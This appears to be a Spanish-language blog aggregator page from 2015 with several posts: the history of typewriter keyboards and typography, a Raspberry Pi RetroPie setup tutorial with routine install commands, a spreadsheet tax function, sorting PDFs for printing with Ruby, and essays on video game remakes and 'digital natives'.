Había otras patentes solicitadas para dispositivos de tipografía en 1808, 1829 y 1852 pero no ganaron interés público. Alrededor de 1860, la máquina de escribir similar a la que se usaron por muchas décadas fue introducida y ganó popularidad.

Las primeras máquinas de escribir tenían las teclas distribuidas en orden alfabético.

3 5 7 9 N O P Q R S T U V W X Y Z
2 4 6 8 . A B C D E F G H I J K L M

Como se puede ver, solo se tenía de la A a la Z y números en el teclado. Esto muestra que el propósito era el reemplazar la escritura a mano.

Se usaban barras con letras que físicamente "martillaban" las letras en el papel. El problema era que las letras más usadas frecuentemente en esas máquinas de escribir se colocaban muy cerca una de otra lo que resultaba en la obstrucción de las barras y se atoraba el papel.

Alrededor de 1868, Christopher Latham Sholes introdujo el teclado qwerty para prevenir que las barras se atascaran.

Originalmente las teclas se distribuían en orden alfabético, lo que causaba obstrucciones frecuentes de las partes móviles. Sholes redistribuyó las teclas para que las letras más usadas frecuentemente estuvieran dispersas para minimizar el atascado. Obtuvo una patente por su distribución del teclado que se conoció como qwerty y se volvió el teclado us standard 101. -- Comparación de teclados QWERTY y DVORAK

Esto fue un mejoramiento enorme desde el punto de vista técnico, pero eso era todo, una solución a un problema técnico. La distribución qwerty hizo que el que teclado fuera más lento y forzaba al usuario a mover los dedos de una manera no natural y de maneras raras de teclear sin atascar las barras. Pero no mejoró la situación del escritor para nada.

En 1878, la distribución qwerty se asentó a como es en la actualidad.

1 2 3 4 5 6 7 8 9 0 - =
Q W E R T Y U I O P [ ] \
A S D F G H J K L ; '
Z X C V B N M , . /

En 1930, la máquina de escribir eléctrica fue inventada y la más popular fue IBM Selectrics, que usaba una esfera para imprimir las letras en el papel.

Sabían poco en aquellos tiempos acerca de la transformación que venía sobre la impresión y publicación digital. Si hubieran sabido podrían haber tomado decisiones muy diferentes.

Con la invención de la esfera para mecanografiar y la máquina de escribir eléctrica pudimos ver dos cosas:

Primero, ya que las barras estaban fuera de la ecuación era posible reacomodar las teclas en cualquier forma que beneficiaría a los que tecleaban y en 1936, el Dr. August Dvorak inventó el teclado DVORAK.

; , . P Y F G C R L
A O E U I D H T N S
Z Q J K X B M W V _

El teclado Dvorak acomodó las teclas para que las letras más usadas frecuentemente estuvieran distribuidas cerca de los dedos más fuertes de los que tecleaban. Esto fue muy bueno para los mecanógrafos, ya que aumentó la velocidad de la mecanografía y era más placentero de usar. Desafortunadamente, el teclado Dvorak no ganó su momento y el teclado QWERTY se volvió la distribución estándar.

Segundo, el juego de caracteres se pudo haber extendido para parecerse mejor a la variedad en juego de caracteres que se usaba con las imprentas y los tipógrafos profesionales. Pero, al igual que con la máquina de escribir original, la máquina de escribir eléctrica no fue diseñada para competir con la imprenta, la producción en masa o la publicación a gran escala, por lo que era natural seguir con el teclado existente de las máquinas de escribir originales.

La única extensión al juego de caracteres fue la introducción permanente de la tecla SHIFT. Era usada para agregar caracteres al teclado. Vemos caracteres alternos agregados a las teclas numéricas; [ ] @ # $ % & * ( ) " ', por ejemplo.

No he encontrado información de por qué esos caracteres fueron elegidos en favor de otros, que desde el punto de vista tipográfico, son más valiosos. Pero desde que las máquinas de escribir se usaban en oficinas, la comunicación formal, acuerdos, documentos financieros y demás, eran los que más necesitaban esos caracteres.

Desde que el teclado QWERTY extendido se volvió un estándar, significó que las personas empezaran a usar lo que estaba disponible en la máquina de escribir para tipografiar su texto. Aunque las comillas y los signos de interrogación eran tipográficamente incorrectos.

Lo mismo pasó con muchos otros caracteres tipográficamente importantes como el guion medio largo — y la elipsis … por ejemplo. Ya que inicialmente no estaban disponibles, y después en los teclados de computadoras, casi inexistentes, simplemente se olvidaron.

El resultado de la tipografía en la actualidad

La máquina de escribir y la computadora fueron introducidos a través de una cadena de invenciones y patentes que empezaron a reemplazar la escritura a mano. Estas no competían con la impresión tradicional y la publicación, pero en retrospectiva, era muy obvio que el camino de la máquina de escribir iba a liderar la invención de las máquinas de duplicación en masa como el mimeógrafo o la fotocopiadora. Aunque esto es bueno, porque democratizó la comunicación en masa y la publicación que cualquiera puede hacer, casi sin mayor costo, publicar sus propios libros, blogs, revistas o cualquier cosa que puedan imaginar.

La única cosa que puede molestar, es que aún tenemos herramientas tipográficas demasiado especializadas para hacerlo.

Sorprendentemente muchos diseñadores, editores y desarrolladores que gastan la mayoría de su tiempo trabajando con texto y copiado, tienen muy poco o nada de conocimiento sobre las implicaciones del lenguaje con los diferentes juegos de caracteres que usan.

La evolución de la escritura a mano a la mecanografía al teclado puede ser una de las causas de la falta del entendimiento tipográfico en la actualidad.

Así que ... ¿Hay algo por hacer? Bueno, el teclado QWERTY no va a irse. Puede haber algunos casos extremos de redistribuir las teclas en el teclado que puedan proveer una solución a corto plazo (o comprar un teclado DVORAK). Pero una solución a largo plazo puede ser el construir un sistema tipográfico dentro del software (que hay algunos que ya existen a un costo de uso muy elevado). La introducción del formato OpenType en gran escala dará acceso público a una variedad de caracteres que los tipógrafos profesionales tenían en sus días. Se necesita continuar empujando las características de OpenType en navegadores y otro software, y una vez hecho se habrá pasado un gran camino. Pero aún no se ha llegado, así que mientras tanto también es igualmente importante continuar con la construcción de otras herramientas como OpenTypography y LaTeX. Estas herramientas, presionarán sobre los desarrolladores de navegadores y mantener la discusión.

Martes 17 de febrero de 2015

Renich Bon Ciric

El dir-foss va creciendo

Que gusto me dá que esté creciendo el proyecto de dir-foss. La gente de México ha estado colaborando bastante para hacer el proyecto de fiar y demás.

Nos faltan algunas cosas, todavía. Por ejemplo:

  • Hay que hacerlo más bonito.
  • Hay que seguir agregando gente.
  • Hay que escribir algunas pruebillas unitarias.

Es un trabajo en progreso pero, la neta, ahí la llevamos.

Muchas gracias a todos los que han colaborado. Han ayudado bastante. Este directorio es el primer paso para unificar a las organizaciones alineadas con el FOSS de México. Una vez que sepamos qué hay, será más fácil establecer canales de comunicación y organizarnos.

Muchas gracias a todos y sigamos con el proyecto.

Viernes 13 de febrero de 2015

Alex Callejas

Alex Callejas
|rootzilopochtli.com|

RetroPie: Contruyendo una consola retro

I don’t like all the attention. I think it’s better to let my work do the talking.

No me gusta toda la atención. Creo que es mejor dejar que mi trabajo hable por mí.

Shigeru Miyamoto (Entrevista en DigitalTrends. 2006)

En días pasados, el buen amigo Dragón, me equipó con una Raspberry Pi, y me dí a la tarea de investigar varios proyectos interesantes que se pueden desarrollar con este hardware tan versátil. El que más llamo mi atención, además de satisfacer una necesidad geek recién adquirida, fue construir una consola de videojuegos retro.

En este post quiero compartirles como la construí. El hardware que utilice es:

Raspberry Pi 1 B+ TP-LINK Wireless Nano USB Adapter SanDisk Ultra microSDHC SNES Retro USB Super Nintendo Controller Charge cable Raspberry Pi 1 B+ Ensamblado 1 Ensamblado 2

Después de ensamblar el hardware, descargue la imagen de Raspbian y la instale en la microSD con el ARM installer de Fedora:

Screenshot from 2015-02-11 22:38:54

Al encender la Raspberry, se ejecuta el raspi-config, donde debemos modificar la configuración:

13

  • Expand Filesystem [Para que utilice los 8 Gb de la MicroSD]
  • Change User Password [Del usuario Pi]
  • Internationalisation Options [Modificar Teclado y zona horaria]
  • Advanced Options
    • SSH [Habilitar]
    • Hostname [Cambiar]
    • Memory Split [Modificar a 128 o 192]

Al seleccionar Finish, la raspberry se reiniciará. Después del reinicio, conectada a Internet vía Ethernet, actualizamos el firmware de la Pi:

root@heimdall:~# rpi-update 

Y posteriormente los paquetes:

root@heimdall:~# apt-get update
root@heimdall:~# apt-get upgrade

Después del reinicio, validamos que arranque correctamente el modo gráfico:

root@heimdall:~# startx

13-1

Al conectar la tarjeta wireless, no la reconocía, googleando un poco, encontré como instalar la tarjeta:

Descargar el driver más actual, siguiendo este post para ubicar el que le corresponde conforme la versión que tengamos, en mi caso:

root@heimdall:~# uname -a
Linux heimdall 3.18.5+ #744 PREEMPT Fri Jan 30 18:19:07 GMT 2015 armv6l GNU/Linux
root@heimdall:~#

En el post encontré el comentario acerca de la versión 3.18.5+ que  tengo, donde, para descargar la versión correspondiente había que ejecutar:

root@heimdall:~# wget https://github.com/lwfinger/rtl8188eu/raw/c83976d1dfb4793893158461430261562b3a5bf0/rtl8188eufw.bin -O /lib/firmware/rtlwifi/rtl8188eufw.bin

Y después de reiniciar, la tarjeta es funcional y se puede configurar con wpa_cli:

root@heimdall:~# wpa_cli 
...
Selected interface 'wlan0'

Interactive mode

> scan
OK
<3>CTRL-EVENT-SCAN-RESULTS 
> scan_results
bssid / frequency / signal level / flags / ssid
20:73:85:24:e2:a0 2412 46 [WPA2-PSK-CCMP][WPS][ESS] wifi_local 
c0:a5:62:7a:68:c0 2437 0 [WPA2-PSK-CCMP][WPS][ESS] ARRIS-76C3
0c:f8:96:29:f0:b0 2442 0 [WPA-PSK-TKIP+CCMP][WPA2-PSK-TKIP+CCMP][WPS][ESS] ARRIS-F030
> quit
root@heimdall:~#

Con esta info, generamos el archivo que contenga la configuración de nuestra red:

root@heimdall:~# vi /etc/wpa_supplicant/wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
	ssid="wifi_local"
	psk="password"
	proto=RSN
	key_mgmt=WPA-PSK
	pairwise=CCMP
	auth_alg=OPEN
}
root@heimdall:~#

Si queremos agregar otra red, como la del trabajo, por ejemplo, podemos editar este mismo archivo, agregando las líneas correspondientes de la red deseada:

network={
	ssid="wifi_chamba"
	psk="password_chamba"
	proto=RSN
	key_mgmt=WPA-PSK
	pairwise=CCMP
	auth_alg=OPEN
}

Y configuramos la conexión automática al arranque, editando el archivo /etc/network/interfaces, agregando al principio del archivo la línea:

auto wlan0

Al final del mismo archivo, agregamos:

allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp

Al reiniciar, debe conectarse automáticamente a nuestra red inalámbrica, lo comprobamos con wpa_client:

root@heimdall:~# wpa_cli 
...
Selected interface 'wlan0'

Interactive mode

> status
bssid=20:73:85:24:e2:a0
ssid=wifi_local 
id=0
mode=station
pairwise_cipher=CCMP
group_cipher=CCMP
key_mgmt=WPA2-PSK
wpa_state=COMPLETED
ip_address=192.168.0.11
address=e8:de:27:a5:44:fb
> quit
root@heimdall:~#

Con la wireless funcional, iniciamos la configuración de la RetroPie, para lo cual opte por utilizar el método de la wiki del proyecto en github; entonces, primeramente, instalamos git y sus dependencias:

root@heimdall:~# apt-get install -y git dialog

Con el usuario pi, iniciamos la instalación de RetroPie:

pi@heimdall ~ $ git clone --depth=1 git://github.com/petrockblog/RetroPie-Setup.git
pi@heimdall ~ $ cd RetroPie-Setup
pi@heimdall ~ $ chmod +x retropie_setup.sh
pi@heimdall ~ $ sudo ./retropie_setup.sh

Al terminar la instalación/configuración, nos creará varios directorios dentro del directorio $HOME/RetroPie:

pi@heimdall ~ $ ls RetroPie/*
RetroPie/BIOS:
CARTS.SHA fast.bin gles2n64rom.conf MSX2EXT.ROM MSX2.ROM PAINTER.ROM system.bin
CYRILLIC.FNT FMPAC16.ROM ITALIC.FNT MSX2PEXT.ROM MSXDOS2.ROM RS232.ROM
DISK.ROM FMPAC.ROM KANJI.ROM MSX2P.ROM MSX.ROM skip.bin

RetroPie/roms:
amiga gamegear mame-samples pc snes
amstradcpc gamegear-osmose mastersystem pcengine snes-pisnes
apple2 gb mastersystem-osmose pcengine-libretro snes-snes9xrpi
atari2600-libretro gba megadrive ports vectrex
atari2600-stella gbc megadrive-dgen psx zmachine
atari800 intellivision msx quake3 zxspectrum
atarilynx macintosh n64 scummvm zxspectrum-fbzx
atariststefalcon mame n64-mupen64plus sega32x
c64 mame-advmame neogeo sega32x-dgen
fba mame-artwork neogeo-gngeopi segacd
fba-libretro mame-libretro nes segacd-dgen
pi@heimdall ~ $

Después de reiniciar la Pi, al hacer login, nos muestra el inicio característico de RetroPie:

Retropie Console

Los ROM’s de los juegos hay que transferirlos por SSH al directorio correspondiente de la consola, por ejemplo:

[alex.callejas@isengard retropie]$ scp Super_Mario_Bros.3.nes  pi@192.168.0.9:/home/pi/RetroPie/roms/nes/

Buscando un poco se pueden encontrar nuestros juegos predilectos 😉

Para arrancar la consola Retropie, ejecutamos:

pi@heimdall ~ $ emulationstation

La primera vez, nos pedirá configurar el control que deseemos usar y después de eso ya podemos jugar en la consola.

Para mayor información, consulten la wiki del proyecto, acerca de roms, emulación de plataformas, configuración de controles, etc.

Aquí la galería con la RetroPie en funciones:

RetroPie Consola RetroPie emulationstation NES Roms Super Mario Bros 3 Super Mario Bros 3 Super Mario Bros 3 Super Mario Bros 3 emulationstation

Próximamente estaré probando el nuevo modelo, la Raspberry Pi 2 B+, para poder emular Nintendo 64 como se debe:

Ver en YouTube

Espero se diviertan… :-)

Jueves 12 de febrero de 2015

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
LINUXMANR4 » Linux y Software Libre

Función para calcular el ISPT 2014 en Excel y LibreOffice

Hace ya algunos años desarrollé una función similar a la que hoy les comparto y la pueden ver en el artículo Función en Excel para calcular el ISPT anual.

ISPT 2014 en Excel y Libreoffice

Nuevamente la rescato del baúl del programador para hacerle algunas modificaciones. En primer lugar, la actualización de los valores de la tabla que sirve para el cálculo que corresponden al ejercicio 2014 y además de que en esta ocasión me pidieron que ya no descontara el subsidio anual y solamente hiciera el cálculo del ISPT.

La Fórmula

Según me explicaron, esta es la fórmula que se utiliza para calcular el ISPT:

nbsp;

Fórmula para calcular el ISPT

nbsp;

El asunto se complica un poco porque varios de los valores se buscan en una tabla dependiendo de las Percepciones Gravables.

Tabla para el cálculo del ISPT 2014

Fig.1 Tabla utilizada para hacer los cálculos.

Por eso creo que el mejor enfoque fue hacer una función para Excel y otra para LibreOffice que hicieran de manera automática la búsqueda de los valores y el cálculo del impuesto.

Código de la función para Excel

Inicialmente desarrolle esta función para Excel ya que es el programa que generalmente usan los contadores.

Código de la función para LibreOffice

El código para LibreOffice es muy similar al de Excel, solo se cambio la función Round por Format para que el resultado lo muestre solamente con 2 decimales.

Software Libre

Los códigos de las funciones son software libre (libertad para usar,copiar y modificar). Aunque hice varias pruebas y lo verifiqué varias veces haciendo el cálculo manualmente no esta exento de errores, así que les pido que si notan algún “detallito” o error, por favor no dejen de reportarlo.

Para que no batallen, les dejo este archivo zip ISPT 2014 v20140212 que incluye sendos ejemplos en Excel y Libreoffice.

Espero que esta función les sea de utilidad a los amigos contadores que siendo honestos, les deberían de dar una medalla por hacer de estos cálculos su trabajo cotidiano.

The post Función para calcular el ISPT 2014 en Excel y LibreOffice appeared first on LINUXMANR4.

Viernes 06 de febrero de 2015

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
LINUXMANR4 » Linux y Software Libre

Imprimir archivos en orden con lpr y Ruby

El otro día me llegó un problema interesante, tenía una colección de archivos en formato PDF que se tenían que imprimir en orden.

Bueno, al principio no sabía que tenía que ser en orden y para imprimir todos los archivos de una capeta sólo use el comando:

lpr *.pdf

Y cumplía con el objetivo de imprimir todos los archivos PDF de la carpeta, pero luego resultó que el orden de impresión era importante (para buscarlos posteriormente) y es donde el problema se complicó un poco, porque hacerlo a mano simplemente no era una opción ¡Son demasiados!.

Orden alfábetico o númerico.

El problema es que una cosa es el orden alfabético y otro muy distinto el orden numérico.

Por ejemplo, tengo esta colección de archivos:

  • 1.pdf
  • 521.pdf
  • 002.pdf
  • 11.pdf
  • 0850.pdf

El resultado de un ordenamiento estándar sería el siguiente:

archivos = ["1.pdf","521.pdf","002.pdf","11.pdf","0850.pdf"]
puts archivos.sort

  • 002.pdf
  • 0850.pdf
  • 1.pdf
  • 11.pdf
  • 521.pdf
orden alfanumerico en ruby

Fig.1 Ejemplo de un ordenamiento estándar en Ruby.

Como pueden ver, están bien ordenados, pero de manera alfanúmerica. Es una cuestión de interpretación de los datos y generalmente el nombre de un archivo se considera un dato alfanúmerico.

Y el caso se complica aún más porque la longitud del nombre del archivo no es la misma.

Aunque es correcto no es el efecto que deseo.

La solución: Naturally

Buscando en Google dí con Naturally una gema de Ruby que se encarga de interpretar de una forma más humana este tipo de ordenamientos númericos.

Para usar Naturally primero hay que instalarlo.

gem install naturally

Y este es un ejemplo de su uso:

El resultado del ordenamiento es:

  • 1.pdf
  • 002.pdf
  • 11.pdf
  • 521.pdf
  • 0850.pdf
Resultado del ordenamiento usando Naturally.

Fig. 2. Resultado del ordenamiento usando Naturally.

Y ahora si, el orden es el que precisamente estoy buscando ¡Yeeeeeei!

A imprimir.

A estas alturas ya estaba muy cerca de la solución, ahora solo tenía que desarrollar un programa en Ruby que leyera todos los archivos PDF de una carpeta, los ordenara de forma natural y mandar imprimir cada archivo.

Al ejecutar el script empieza la impresión de los archivos PDF en la impresora predeterminada uno por uno, pero ahora en el orden que quiero.

Espero que este artículo les sea de utilidad. Todavía intuyo que es posible hacerlo en bash, pero como ya lo resolví este problema utilizando Ruby y funciona tan bien que voy a dar por cerrado el tema.

Ahora con Bash

Gracias a este comentario en google plus de Rodolfo Zola que me aclaró como resolver el mismo problema usando bash y el comando sort.

Y funciona perfectamente, sólo lo modifiqué un poco para que solamente imprimiera archivos pdf.

The post Imprimir archivos en orden con lpr y Ruby appeared first on LINUXMANR4.

Jueves 29 de enero de 2015

Gustavo Rubio

Gustavo Rubio
Ahí vamos

Grim Fandango y reviviendo otros muertos

Leía entre mis noticias hace un par de días sobre el remake de “La Bella y La Bestia” de Disney que protagonizará Emma Wattson y en dicho artículo de titulado “Why Is Disney Trying So Hard To Dilute it’s Brand?” (que traducido sería mas o menos algo así como “¿Por qué Disney se esfuerza en desaparecer su escencia?“) me llama la atención lo siguiente:

News of a Beauty and the Beast remake indicates that the corporation is less and less worried about approving unoriginal products as long as they’re guaranteed moneymakers.

¿Se trata entonces del simple hecho de repetir fórmulas probadas en vez de intentar evolucionar en el medio del entretenimiento? Difiero y estas son mis razones.

Solía haber un tiempo en el que las películas eran buenas, MTV ponía buenos videos musicales y en general la industria del entretenimiento valía la pena.

Lo anterior es uno de los comentarios mas comunes y latosos que escucharemos de cualquier persona pasada de sus 30’s. Es normal, es natural y es parte de la adultéz. Cuestión melancólica más guiada por puro sentimiento que por otra cosa.

A veces cuando me preguntan si he escuchado alguna canción en el radio de alguna nueva (o no tan nueva banda) suelo responder con un inocente y penoso “no, no me suena” y es que hace ya un tiempo que dejé de escuchar radio y simplemente cargo con mi colección de música para todos lados, ya sea en mi carro, en mi teléfono, en mi computadora, etc.

Inicialmente uno pensaría que la razón es porque la “nueva música” no es de mi agrado o me parece de poca calidad, sin embargo conforme he ido analizando el asunto me he dado cuenta que no es que esté cerrado a “nuevas propuestas”, es simplemente que lo que suelo escuchar es demasiado bueno para no escucharlo una y otra vez. Con algunas excepciones, pocas veces un disco nuevo o película contemporánea a marcado mi vida de manera que necesite volver a escucharla o verla de nuevo, sin embargo, eso no necesariamente significa que esta nueva música, o estas nuevas películas sean de mala calidad.

Me gusta pensar que me “he enamorado de los clásicos”, es decir, ¿A quién no le gustó Volver al Futuro? Cuando la primera entrega de esta saga salio al cine yo probablemente estaba en los brazos de mi madre, y mucha de la música que escucho se hizo cuando ni siquiera había nacido, decir que estos elementos artísticos me agradan porque son de mi generación sería hipócrita de mi parte, lo menos.

¿Cómo es que le tomé gusto a Los Beatles, Led Zeppelin, Hall & Oates Star Wars, Back To The Future, etc.? Bueno, porque simplemente son demasiado buenos para pasar desapercibidos. Y habrá quien no guste de estas bandas o de las mencionadas películas, pero para un grueso de la población simplemente son joyas, tesoros, patrimonio y debe compartirse tras generaciones tal como otras expresiones artísticas como la literatura, la pintura, etc. Simplemente se vuelven clásicos.

Dentro de estas expresiones artísticas existe un nicho que comparte, particularmente, la misma crítica que el cine y que la música para quienes lo consumen: Los Videojuegos.

Podría autodeclararme si bien no necesariamente un gran jugador si una persona que creció con la evolución de los mismos; desde NES con juegos clásicos como Mario, Contra, “El de los patos” hasta consolas actuales. Crecí con arcades o “maquinitas” como les decimos en muchos lugares pero en realidad nunca me convertí en fan ni jugador empedernido salvo por honrosas excepciones como Zelda en 64 y algunos otros títulos de SNES.

Una crítica concurrente entre los declarados “videojugadores genuinos” y a los que consideran como simples mortales son la diferencia entre el amor y pasión a los videojuegos e incluso apreciacion del arte dentro de los mismos y como los segundos simplemente lo ven como otro hobbie o pretexto para entretenerse. Los primeros aseguran que un buen videojuego debe contar con una historia que sumerja al jugador lo suficiente para apreciar este como algo más que un programa de entretenimiento. Aquellos que juegan títulos como Call of Duty, FIFA, Grand Theft Auto y otros títulos “AAA” suelen ser rebajados a n00bs.

Lo cierto es que mucha de la generación actual videojugadora simplemente usa lo que tiene a la mano, juega lo que el mercado le vende, no es tan sencillo como con la música o las películas. Uno puede simplemente comprarse un disco (o descargarselo) y escucharlo o ver una película hecha hace 40 años en un formato moderno con un dispositivo actual, no sucede lo mismo con los videojuegos. Estos últimos suelen estar creados para plataformas mas anticuadas y lo que sucede es que, a diferencia de la música o de las películas, un videojuego es una pieza electrónica de software que requiere interacción mas compleja con el dispositivo, es decir, no puedo tomar un cartucho del viejo NES y simplemente jugarlo en un Play Station 4 o un XBox One.

Y precisamente la razón por la cual es más sencillo que una persona contemporánea, joven de edad, adquiera gusto por discos musicales y títulos de películas clásicas más fácilmente. Remasterizar música y video es relativamente sencillo, “portar” un videojuego a nuevas plataformas no lo es.

Podría decir que me considero parte de los videojugadores que prefieren las buenas historias a unos gráficos que me dejen con la boca abierta. Me intriga más una buena ambientación en un videojuego que la facilidad de jugarlo en línea con otras personas. Y no es precisamente porque sea un hipster o melancólico, es porque afortunadamente me tocó crecer con títulos así.

Cuando comencé a jugar videojuegos por voluntad propia fue cuando tuve acceso a una computadora. Si bien mi hermano mayor y yo tuvimos la fortuna de tener consolas desde muy pequeños, nunca me volví “vicioso“. Tampoco solía gastarme el poco dinero extra que tenía en las maquinitas, nunca existió un enamoramiento de mi parte hacia los videojuegos de consolas, pero eso cambió conforme pude jugar en una computadora ya que ahí los juegos solían ser mucho más desarrollados, con historias más ricas, extensas, mapas mejor diseñados y detallados, ambientación, soundtrack, etc. La experiencia simplemente era abismal comparado a las consolas.

Uno de estos juegos que me cautivó fue Grim Fandando. Videojuego que casualmente será relanzado el día de hoy remasterizado. Un juego que se desarrolló hace casi 20 años por Lucasarts, casa desarrolladora de videojuegos del corporativo de George Lucas, ya inexistente por cierto, y que ahora es parte de los derechos de autor de Disney toda vez que esta última adquirió los derechos de mucho de lo que Lucas había creado con anterioridad.

El videojuego cuenta la trama de Manny Calavera, un personaje en el mundo de los muertos, muy al estilo de la reciente película “The Book Of Life“, pero en videojuego. Este, además de contar con una historia que envuelve y una ambientación “noir”, toma elementos de películas de antaño como “Casablanca” y “El halcón maltés“, todos por cierto, considerados clásicos del cine.

Es obvio que Disney sabe crear clásicos y tiene suficiente talento para crear nuevo material, sin embargo, como menciona el artículo que citaba al principio, pareciera que Disney, y muchas otras empresas se han quedado sin ideas y simplemente pretenden retornar a fórmulas probadas o bien comprar los derechos de productos de incluso otras industrias (como Grim Fandango) para generar ganancias, vivir de los refritos pues.

Creo que si bien en parte lo que busca Disney y otras empresas “reiniciando franquicias” es generar dinero, también el hecho de poder distribuir este material considerado clásico, a nuevas generaciones, es una buena jugada.

Tal como se ha estado desempolvando viejos títulos de cine y relanzando con éxito también se está trayendo clásicos de los videojuegos a aquellos que, como yo con algunos discos musicales, ni siquiera habían nacido. Para mi es algo positivo y definitivamente como consumidor me alegra la noticia.

Como dicen por ahí, “Los clásicos nunca pasarán de moda

Extra:

Además de haber sido remasterizado, Grim Fandango puede ser comprado desde Steam para plataformas Mac y Linux!

Sábado 24 de enero de 2015

Lo que no me gusta de nativos digitales

El año que paso lo he discutido bastante en clase y por lo que estuve medio leyendo por ahí varios lo han estado discutiendo en la red, igual menciono los puntos que me parecen importantes.

En más de un momento he expresado que no me gusta la categorización de Nativos Digitales / Inmigrantes Digitales (Prensky 2001[1]), para hablar sobre los estudiantes que tienen facilidad con las TIC, me parece que es un concepto incompleto ya que se basa en un corte por fecha o por decirlo por edad, el cual se sostiene solo en zonas con solvencia económica.

Hablar de que son más inteligentes por estar expuestos a la tecnología también me parece un despropósito, creo que hay dos cosas que especialmente dejan de lado quienes apoyan esta categorización con fiereza, 1) los chicos no solo tienen acceso a la tecnología, tienen mucho tiempo libre para usarla 2) No tienen temor a equivocarse (todavía) por lo mismo a prueba y error descubren como usarla.

Noten que entonces con estos dos puntos no es que nazcan con nuevo chip, que nosotros hayamos nacido con transistores o nuestros padres con bulbos, cada generación dependiendo de su capacidad económica, cultural y otros parámetros ha tenido una exposición diferenciada ya no digamos uso y apropiación a las diferentes tecnologías disponibles.

Pero el punto que más me lleva a pensar sobre esta generalización es que mucha gente mayor que de por si se siente presionada por la velocidad con la que los jóvenes utilizan ahora la tecnología, se siente hoy día más presionados y se auto sabotean al pensar que ellos deben usarla así de rápido, cuando en realidad ellos ya saben mucho más que los otros y si deben aprender cosas, pero no las mismas y en los cursos de formación digital, estamos poniendo énfasis en intenciones distintas, valga el ejemplo que he mencionado en clase y que alude a mi entorno de trabajo.

En algún momento estas materias se sacaron del currículo con la justificación de que todos saben usar una computadora, por lo mismo no hay necesidad de tener una materia que enseñe a usarla, es decir se confundió el medio con el fin, para ponerlo en una metáfora, todos tenemos pies y todos aprendimos a caminar… y no,  yo prefiero ponerlo en, si todos caminamos, pero no por tener pies mañana vamos a participar en un maratón y siquiera terminarlo, hay que aprender a usar las herramientas de las mejores formas o dicho de otra forma no vamos a enseñar a usar la computadora, enseñamos a usar la computadora para hacer cosas escolares y profesionales.

[1] http://www.marcprensky.com/writing/Prensky%20-%20Digital%20Natives,%20Digital%20Immigrants%20-%20Part1.pdf